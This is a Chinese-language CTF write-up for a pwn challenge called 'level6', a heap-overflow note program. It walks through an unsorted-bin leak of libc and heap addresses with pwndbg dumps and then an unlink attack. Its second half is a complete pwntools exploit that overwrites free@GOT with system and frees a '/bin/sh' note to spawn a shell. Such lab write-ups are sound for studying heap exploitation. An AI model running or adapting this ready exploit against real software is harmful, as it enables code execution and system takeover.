0%

Unlink攻击+Unsortedbin leak

这道题目加深了我对Unlink攻击的理解,也学习到了Unsortedbin的知识

这种“FD&BK”遗留heap中,覆写一半泄露一半的模式应该会很常见

level6

1643275729514

1643275751088

1643275759522

64位,dynamically,开了NX,开了canary

1643275717246

程序有6个功能,先搭好框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def print_s():
p.recvuntil('Your choice: ')
p.sendline(str(1))

def malloc_s(size,note):
p.recvuntil('Your choice: ')
p.sendline(str(2))
p.sendlineafter('Length of new note: ',str(size))
p.sendafter('Enter your note: ',note)

def edit_s(index,size,note):
p.recvuntil('Your choice: ')
p.sendline(str(3))
p.sendlineafter('Note number: ',str(index))
p.sendlineafter('Length of note: ',str(size))
p.sendafter('Enter your note: ',note)

def free_s(index):
p.recvuntil('Your choice: ')
p.sendline(str(4))
p.sendlineafter('Note number: ',str(index))

入侵思路

1643280646235

“free模块”置空了指针,没有UAF漏洞,但是它只“free”了结构chunk,数据chunk留存出heap中

程序有明显的堆溢出,可以打unlink攻击

先在GDB中分析“结构chunk”和“数据chunk”:

1
2
3
4
5
malloc_s(0x80,'a'*0x80)
malloc_s(0x80,'b'*0x80)
malloc_s(0x80,'c'*0x80)
pause()
free_s(0)
1
2
3
4
pwndbg> x/20xg 0x6020A8
0x6020a8: 0x00000000021872a0 0x0000000000000000
0x6020b8: 0x0000000000000000 0x0000000000000000
0x6020c8: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
pwndbg> x/60xg 0x00000000021872a0
0x21872a0: 0x0000000000000100 0x0000000000000003
0x21872b0: 0x0000000000000001 0x0000000000000080
0x21872c0: 0x0000000002188ac0 0x0000000000000001
0x21872d0: 0x0000000000000080 0x0000000002188b50
0x21872e0: 0x0000000000000001 0x0000000000000080
0x21872f0: 0x0000000002188be0 0x0000000000000000
0x2187300: 0x0000000000000000 0x0000000000000000

执行“free_s(0)”前:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> telescope 0x00000000021872a0
00:00000x21872a0 ◂— 0x100
01:00080x21872a8 ◂— 0x3 //allocate chunk的总数
02:00100x21872b0 ◂— 0x1 //chunk1_P位
03:00180x21872b8 ◂— 0x80 //chunk1_size
04:00200x21872c0 —▸ 0x2188ac0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
05:00280x21872c8 ◂— 0x1 //chunk2_P位
06:00300x21872d0 ◂— 0x80 //chunk2_size
07:00380x21872d8 —▸ 0x2188b50 ◂— 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
08:00400x21872e0 ◂— 0x1 //chunk3_P位
09:00480x21872e8 ◂— 0x80 //chunk3_size
0a:00500x21872f0 —▸ 0x2188be0 ◂— 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc'
0b:00580x21872f8 ◂— 0x0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> x/200xg 0x2188ab0
0x2188ab0: 0x0000000000000000 0x0000000000000091 # chunk1
0x2188ac0: 0x6161616161616161 0x6161616161616161
0x2188ad0: 0x6161616161616161 0x6161616161616161
0x2188ae0: 0x6161616161616161 0x6161616161616161
0x2188af0: 0x6161616161616161 0x6161616161616161
0x2188b00: 0x6161616161616161 0x6161616161616161
0x2188b10: 0x6161616161616161 0x6161616161616161
0x2188b20: 0x6161616161616161 0x6161616161616161
0x2188b30: 0x6161616161616161 0x6161616161616161
0x2188b40: 0x0000000000000000 0x0000000000000091 # chunk2
0x2188b50: 0x6262626262626262 0x6262626262626262
0x2188b60: 0x6262626262626262 0x6262626262626262
0x2188b70: 0x6262626262626262 0x6262626262626262
0x2188b80: 0x6262626262626262 0x6262626262626262
0x2188b90: 0x6262626262626262 0x6262626262626262
0x2188ba0: 0x6262626262626262 0x6262626262626262
0x2188bb0: 0x6262626262626262 0x6262626262626262
0x2188bc0: 0x6262626262626262 0x6262626262626262
0x2188bd0: 0x0000000000000000 0x0000000000000091 # chunk3
0x2188be0: 0x6363636363636363 0x6363636363636363
0x2188bf0: 0x6363636363636363 0x6363636363636363
0x2188c00: 0x6363636363636363 0x6363636363636363
0x2188c10: 0x6363636363636363 0x6363636363636363
0x2188c20: 0x6363636363636363 0x6363636363636363
0x2188c30: 0x6363636363636363 0x6363636363636363
0x2188c40: 0x6363636363636363 0x6363636363636363
0x2188c50: 0x6363636363636363 0x6363636363636363
0x2188c60: 0x0000000000000000 0x000000000001f3a1

执行“free_s(0)”后:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> telescope 0x0000000001aed010
00:00000x1aed010 ◂— 0x100
01:00080x1aed018 ◂— 0x2
02:00100x1aed020 ◂— 0x0
03:00180x1aed028 ◂— 0x0
04:00200x1aed030 —▸ 0x1aee830 —▸ 0x7fc081570b78 (main_arena+88) —▸ 0x1aee9d0 ◂— 0x0
05:00280x1aed038 ◂— 0x1
06:00300x1aed040 ◂— 0x80
07:00380x1aed048 —▸ 0x1aee8c0 ◂— 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
08:00400x1aed050 ◂— 0x1
09:00480x1aed058 ◂— 0x80
0a:00500x1aed060 —▸ 0x1aee950 ◂— 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc'
0b:00580x1aed068 ◂— 0x0

可以发现:原本“chunk1”的数据区被写入了“main_arena+88”(因为这是unsortedbin的特性)

1
2
unsortedbin
all: 0x114d820 —▸ 0x7fb1a8b49b78 (main_arena+88) ◂— 0x114d820

PS:只有低libc版本的程序才有这个特性

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> telescope 0x00000000019c12a0
00:00000x19c12a0 ◂— 0x100
01:00080x19c12a8 ◂— 0x2
02:00100x19c12b0 ◂— 0x0
03:00180x19c12b8 ◂— 0x0
04:00200x19c12c0 —▸ 0x19c2ac0 ◂— 0x0 // 高libc版本的这个位置为“null”
05:00280x19c12c8 ◂— 0x1
06:00300x19c12d0 ◂— 0x80
07:00380x19c12d8 —▸ 0x19c2b50 ◂— 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
08:00400x19c12e0 ◂— 0x1
09:00480x19c12e8 ◂— 0x80
0a:00500x19c12f0 —▸ 0x19c2be0 ◂— 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc'
0b:00580x19c12f8 ◂— 0x0

可以利用这个特性来泄露“libc_base”(main_arena的偏移可以在GDB中计算)

为了打Unlink攻击,还需要泄露“list_addr_chunk1”,chunk1的FD指针(这里攻击chunk1)

这时我们这样构造payload,以同时泄露“list_addr_chunk1”和“libc_base”

1
2
3
4
5
6
7
8
9
malloc_s(0x80,'a'*0x80)
malloc_s(0x80,'b'*0x80)
malloc_s(0x80,'c'*0x80)
malloc_s(0x80,'d'*0x80)
free_s(0)
free_s(2)
pause()
malloc_s(8,'yyyyyyyy')
malloc_s(8,'xxxxxxxx')

执行“free_s”后,执行“malloc_s”前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x0000000000d30010
00:00000xd30010 ◂— 0x100
01:00080xd30018 ◂— 0x2
02:00100xd30020 ◂— 0x0
03:00180xd30028 ◂— 0x0
04:00200xd30030 —▸ 0xd31830 —▸ 0x7fde89390b78 (main_arena+88) —▸ 0xd31a60 ◂— 0x0
05:00280xd30038 ◂— 0x1 // shunk2_presize
06:00300xd30040 ◂— 0x80 // shunk2_size
07:00380xd30048 —▸ 0xd318c0 ◂— 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
08:00400xd30050 ◂— 0x0
09:00480xd30058 ◂— 0x0
0a:00500xd30060 —▸ 0xd31950 —▸ 0xd31820 ◂— 0x0
0b:00580xd30068 ◂— 0x1
0c:00600xd30070 ◂— 0x80
0d:00680xd30078 —▸ 0xd319e0 ◂— 'dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd'
0e:00700xd30080 ◂— 0x0

可以发现:我们想要的两个地址已经在unsortedbin中了:

1
2
unsortedbin
all: 0xd31940 —▸ 0xd31820 —▸ 0x7fde89390b78 (main_arena+88) ◂— 0xd31940
1
2
3
4
5
pwndbg> x/30xg 0xd31940
0xd31940: 0x0000000000000000 0x0000000000000091 # chunk3
0xd31950: 0x0000000000d31820 0x00007fde89390b78
0xd31960: 0x6363636363636363 0x6363636363636363
0xd31970: 0x6363636363636363 0x6363636363636363
1
2
3
4
5
pwndbg> x/30xg 0xd31820
0xd31820: 0x0000000000000000 0x0000000000000091 # chunk1
0xd31830: 0x00007fde89390b78 0x0000000000d31940
0xd31840: 0x6161616161616161 0x6161616161616161
0xd31850: 0x6161616161616161 0x6161616161616161

执行“malloc_s”后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x0000000000d30010
00:00000xd30010 ◂— 0x100
01:00080xd30018 ◂— 0x4
02:00100xd30020 ◂— 0x1
03:00180xd30028 ◂— 0x8
04:00200xd30030 —▸ 0xd31830 ◂— 0x7979797979797979 ('yyyyyyyy') // chunk1_FD
05:00280xd30038 ◂— 0x1
06:00300xd30040 ◂— 0x80
07:00380xd30048 —▸ 0xd318c0 ◂— 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
08:00400xd30050 ◂— 0x1
09:00480xd30058 ◂— 0x8
0a:00500xd30060 —▸ 0xd31950 ◂— 0x7878787878787878 ('xxxxxxxx')
0b:00580xd30068 ◂— 0x1
0c:00600xd30070 ◂— 0x80
0d:00680xd30078 —▸ 0xd319e0 ◂— 'dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd'
0e:00700xd30080 ◂— 0x0

由于只写入了“8字节”的数据,所以unsortedbin只被覆盖了FD指针,BK指针的数据得以保留

1
2
3
4
5
pwndbg> x/30xg 0xd31940
0xd31940: 0x0000000000000000 0x0000000000000091 # chunk3
0xd31950: 0x7878787878787878 0x00007fde89390b78
0xd31960: 0x6363636363636363 0x6363636363636363
0xd31970: 0x6363636363636363 0x6363636363636363
1
2
3
4
5
pwndbg> x/30xg 0xd31820
0xd31820: 0x0000000000000000 0x0000000000000091 # chunk1
0xd31830: 0x7979797979797979 0x0000000000d31940
0xd31840: 0x6161616161616161 0x6161616161616161
0xd31850: 0x6161616161616161 0x6161616161616161

unsortedbin特点:

  • 由free chunks组成的循环双链表

  • 第一个chunk的BK指向“main_arena+xx”,最后一个chunk的FD指向“main_arena+xx”

    ​ // 在高libc版本中:这个特性被移除(指向“null”)

进行数据接收与计算:

“libc_base”:

1
2
3
4
      0xd30000           0xd52000 rw-p    22000 0      [heap]
0x7fde88fcc000 0x7fde8918c000 r-xp 1c0000 0 /home/ywhkkx/tool/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
0x7fde8918c000 0x7fde8938c000 ---p 200000 1c0000 /home/ywhkkx/tool/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
0x7fde8938c000 0x7fde89390000 r--p 4000 1c0000 /home/ywhkkx/tool/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
1
2
3
4
5
In [26]: 0x00007fde89390b78-0x7fde88fcc000
Out[26]: 3951480

In [27]: hex(3951480)
Out[27]: '0x3c4b78'

“list_addr_chunk1”(chunk1的FD指针):

1
2
3
4
5
In [41]: 0x0000000000d31940-0xd30030
Out[41]: 6416

In [42]: hex(6416)
Out[42]: '0x1910'

接下来就可以打Unlink了:

1
2
3
4
5
6
7
8
9
10
payload=p64(0x0)+p64(0x80)
payload+=p64(list_addr_chunk1-0x18)+p64(list_addr_chunk1-0x10)#fake_chunk
payload=payload.ljust(0x80,'a')
payload+=p64(0x80)+p64(0x90)#fake_chunk2_size
payload+='a'*0x80
payload+=p64(0x90)+p64(0x121)#fake_chunk3_size
edit_s(0,len(payload),payload)
free_s(1)#释放chunk2
#伪造chunk2_presize为:0x90(填满chunk1,chunk2,P位为'0')
#伪造chunk3_presize为:0x121(填满chunk1,chunk2,P位为'1')
  • 设置chunk3为allocate chunk,放置其与chunk2合并
  • 原本chunk3为free状态,必须伪造
  • 伪造chunk3的presize为合并后的chunk大小(包括chunk1的“size”和“pre_size”)

执行后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x0000000002194010
00:00000x2194010 ◂— 0x100
01:00080x2194018 ◂— 0x0
02:00100x2194020 ◂— 0x1
03:00180x2194028 ◂— 0x120
04:00200x2194030 —▸ 0x2194018 ◂— 0x0 // 指向list_addr_chunk1-0x18
05:00280x2194038 ◂— 0x0
06:00300x2194040 ◂— 0x0
07:00380x2194048 —▸ 0x21958c0 ◂— 0x6161616161616161 ('aaaaaaaa')
08:00400x2194050 ◂— 0x0
09:00480x2194058 ◂— 0x0
0a:00500x2194060 —▸ 0x2195950 ◂— 0x7878787878787878 ('xxxxxxxx')
0b:00580x2194068 ◂— 0x0
0c:00600x2194070 ◂— 0x0
0d:00680x2194078 —▸ 0x21959e0 ◂— 'dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd'
0e:00700x2194080 ◂— 0x0

接下来就可以模仿“结构chunk”,伪造需要的chunk了:

1
2
3
4
5
6
7
free_got=elf.got['free']
payload =p64(4)+p64(1)+p64(0x8)+p64(free_got)
payload +=p64(1)+p64(0x8)+p64(leak_addr)
payload +=p64(1)+p64(0x8)+p64(elf.got['atoi'])
payload = payload.ljust(0x120,'\x00')
edit_s(0,len(payload),payload)
#payload将填满chunk1,chunk2

执行后:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> telescope 0x0000000000914010
00:00000x914010 ◂— 0x100
01:00080x914018 ◂— 0x4 // fake_start
02:00100x914020 ◂— 0x1
03:00180x914028 ◂— 0x8
04:00200x914030 —▸ 0x602018 (free@got.plt) —▸ 0x7f8b519da540 (free) ◂— push r13
05:00280x914038 ◂— 0x1
06:00300x914040 ◂— 0x8
07:00380x914048 —▸ 0x7f8b51d1ab78 (main_arena+88) —▸ 0x9159b0 ◂— 0x6363636363636363 ('cccccccc')
08:00400x914050 ◂— 0x1
09:00480x914058 ◂— 0x8
0a:00500x914060 —▸ 0x602070 (atoi@got.plt) —▸ 0x7f8b5198ce90 (atoi) ◂— sub rsp, 8
0b:00580x914068 ◂— 0x0

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import*

p=process('./level6')
elf=ELF('./level6')
libc=ELF('./libc-2.23.so')

atoi_got=elf.got['atoi']
success('atoi_got >> '+hex(atoi_got))

#gdb.attach(p)

def print_s():
p.recvuntil('Your choice: ')
p.sendline(str(1))

def malloc_s(size,note):
p.recvuntil('Your choice: ')
p.sendline(str(2))
p.sendlineafter('Length of new note: ',str(size))
p.sendafter('Enter your note: ',note)

def edit_s(index,size,note):
p.recvuntil('Your choice: ')
p.sendline(str(3))
p.sendlineafter('Note number: ',str(index))
p.sendlineafter('Length of note: ',str(size))
p.sendafter('Enter your note: ',note)

def free_s(index):
p.recvuntil('Your choice: ')
p.sendline(str(4))
p.sendlineafter('Note number: ',str(index))

list_addr=0x6020A8+0x10

malloc_s(0x80,'a'*0x80)
malloc_s(0x80,'b'*0x80)
malloc_s(0x80,'c'*0x80)
malloc_s(0x80,'d'*0x80)
free_s(0)
free_s(2)
malloc_s(8,'yyyyyyyy')
malloc_s(8,'xxxxxxxx')

print_s()

p.recvuntil('y'*8)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
success('leak_addr >> '+hex(leak_addr))
list_addr_chunk1=leak_addr-0x1910
success('list_addr_chunk1 >> '+hex(list_addr_chunk1))

p.recvuntil('x'*8)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
success('leak_addr >> '+hex(leak_addr))
libc_base=leak_addr-0x3c4b78
system_libc=libc_base+libc.sym['system']
success('libc_base >> '+hex(libc_base))
success('system_libc >> '+hex(system_libc))

free_s(1)
free_s(2)
free_s(3)

payload=p64(0x0)+p64(0x80)
payload+=p64(list_addr_chunk1-0x18)+p64(list_addr_chunk1-0x10)
payload=payload.ljust(0x80,'a')
payload+=p64(0x80)+p64(0x90)
payload+='a'*0x80
payload+=p64(0x90)+p64(0x121)
edit_s(0,len(payload),payload)
free_s(1)

free_got=elf.got['free']
payload =p64(4)+p64(1)+p64(0x8)+p64(free_got)
payload +=p64(1)+p64(0x8)+p64(leak_addr)
payload +=p64(1)+p64(0x8)+p64(elf.got['atoi'])
payload = payload.ljust(0x120,'\x00')
edit_s(0,len(payload),payload)

#pause()

atoi_addr= libc.sym['atoi'] + libc_base
system_addr=libc.sym['system'] + libc_base
edit_s(0,0x8,p64(system_addr))
edit_s(1,len("/bin/sh\x00"),"/bin/sh\x00")
free_s(1)

p.interactive()